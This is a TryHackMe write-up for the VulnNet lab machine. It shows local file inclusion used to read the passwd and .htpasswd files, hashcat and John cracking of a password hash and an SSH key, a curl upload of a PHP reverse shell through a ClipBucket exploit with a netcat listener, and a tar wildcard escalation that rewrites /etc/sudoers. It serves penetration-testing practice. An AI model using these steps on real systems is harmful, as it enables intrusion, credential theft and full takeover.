TryHackMe – VulnNet (Write-up)

Setup 🛠

Read the instructions on the TryHackMe – Vulnnet page.
We have to add our the server’s IP Adress to the /etc/hosts as vulnnet.thm.

Target Enumeration ❔

Use RustScan to scan the target.

You will find that,

  • PORT 22 (SSH)
  • PORT 80 (Web Server)

Web Enumeration ❔

Navigating to web interface gives you a fake website. (Non-Functional)

Try to enumerate links inside the html and javascript.

Enumerate these javascripts:

  • <script src="/js/index__7ed54732.js"></script>
  • <script src="/js/index__d8338055.js"></script>

After the Enumeration process you will find some links that looks similar to these links.

  • http://broadcast.vulnnet.thm
  • http://vulnnet.thm/index.php?referer=

Enumerating Links(URL) ❔

http://broadcast.vulnnet.thm means that there is a subdomain called broadcast in the server.
Add that to the /etc/hosts in your machine.
But, when we try to navigate to that url it requests a username and password. Let’s find it later. 🙄

Next, http://vulnnet.thm/index.php?referer= url means that we can pass a value to referer parameter in the main page.
Normally, referer means a URL right? 🤔
So, Let’s find out what can we do in the next section.


Exploiting LFI 💥

Let’s find out what that referer parameter in http://vulnnet.thm/index.php?referer= does.
Pass “/etc/passwd” as the argument and you will get the server’s passwd file.

That means there is a LFI(Local File Inclusion) vulnerability.

Note:- If you want you can get a reverse shell from this. 😅
(But instead, I am going to use a different method to access the system)

You can see the output below.
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We now that the broadcast subdomain needs a username and a password right?
What we can do right now is to get that username and password hash from the server via the LFI.

By Default, Apache Server’s config is stored at /etc/apache2/sites-enabled/000-default.conf.

So, let’s use LFI to get that config file.😎
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As you can see the AuthUserFile for broadcast is located at /etc/apache2/.htpasswd
Use LFI to get that file once again.
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That’s it. We got the hash for developers account in the broadcast.vulnnet.thm.
It is a md5apr1 hash. Use hashcat to crack the hash. (Use rockyou.txt as the wordllist)

$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0:[PASSWORD]
Session……….: hashcat
Status………..: Cracked
Hash.Name……..: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target……: $apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
Time.Started…..: Thu Mar 18 20:18:26 2021, (35 secs)
Time.Estimated…: Thu Mar 18 20:19:01 2021, (0 secs)
Guess.Base…….: File (H:wordlistsrockyou.txt)
Guess.Queue……: 1/1 (100.00%)
Speed.#1………: 61386 H/s (5.90ms) @ Accel:64 Loops:62 Thr:8 Vec:1
Recovered……..: 1/1 (100.00%) Digests
Progress………: 2170949/14344099 (15.13%)
Rejected………: 8261/2170949 (0.38%)
Restore.Point….: 2162687/14344099 (15.08%)
Restore.Sub.#1…: Salt:0 Amplifier:0-1 Iteration:992-1000
Candidates.#1….: Angelica7 -> 98889888

As you can see, hashcat only takes about 30 seconds to crack the password.

Exploring (broadcast.vulnnet.thm)

Login to the website using the credentials we found.

Username :- developers
Password :- [Cracked_Password]

We can see that the website is using ClipBucket V4.0(Read the title).

Use exploit-db.com to find an exploit for this version.
You will find this page ClipBucket < 4.0.0 – Release 4902 – Command Injection / File Upload / SQL Injection

There is a detailed walkthrough explaining how to exploit this vulnerability.
Now we know how to upload a php file to the server.
Now, Let’s upload a reverse shell to the server. I like to use Pentest Monkey’s reverse shell.(Github – PHP Reverse Shell)

Create a Netcat Listener in your system.
Command :- nc -lvnp [PORT]
Download the reverse shell and change the IP and PORT suitabaly.

Upload the reverse shell via below command.
curl -F "[email protected][FILENAME]" -F "plupload=1" -F "name=anyname.php" "http://broadcast.vulnnet.thm/actions/photo_uploader.php"

Now, you can find the uploaded php file in http://broadcast.vulnnet.thm/files/photos/{year}/{month}/{date}/{received_id}
Example:- http://broadcast.vulnnet.thm/files/photos/2021/03/18/1616091677ef3974.php

Execute the PHP and you will get the connection.


Privillage Escalation 🦾 (Server-Management)

First of all stabilize the shell.

Navigate to /var/backups and you will a file called find ssh-backup.tar.gz.

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I downloaded the file to my machine and extracted it.

Run chmod 600 id_rsa to give permissions to that file suitabaly.(Now only current user can access the file.)

Now, try to connect to the server using below command.
ssh [email protected] -i id_rsa
But, it requires a password to connect.

Now, let’s crack the id_rsa using the JohnTheRipper program.
Use ssh2john.py to generate the hash for the john program.
Command:- python ssh2john.py id_rsa > id_rsa.hash

Now, run john id_rsa.hash -w [rockyou.txt location] to crack the id_rsa.

95331e4629063dac88de849467106c9d.png

Now, login to the [email protected] using the id_rsa and the cracked password.

Privillage Escalation 🦾 (Root)

Now, Enumerate crontabs, use cat /etc/crontab to view crontabs.

64de9072547c56e38806a74d6d076b50.png

Now, examine the script (/var/opt/backupsrv.sh).

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You will find that the Tar Wildcard Vulnerability.
You can find more about it here. HackingArticles.in – Exploiting Wildcard for Privilege Escalation

However, to exploit the vulnerability, execute below commands in the /home/server-management/Documents/.

  • echo ‘echo “server-management ALL=(root) NOPASSWD: ALL” > /etc/sudoers’ > exploit.sh
  • echo “” > “–checkpoint-action=exec=sh exploit.sh”
  • echo “” > –checkpoint=1

Now, wait 2 minutes, and execute sudo /bin/bash and your are ROOT!.

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Tryhackme Writeups

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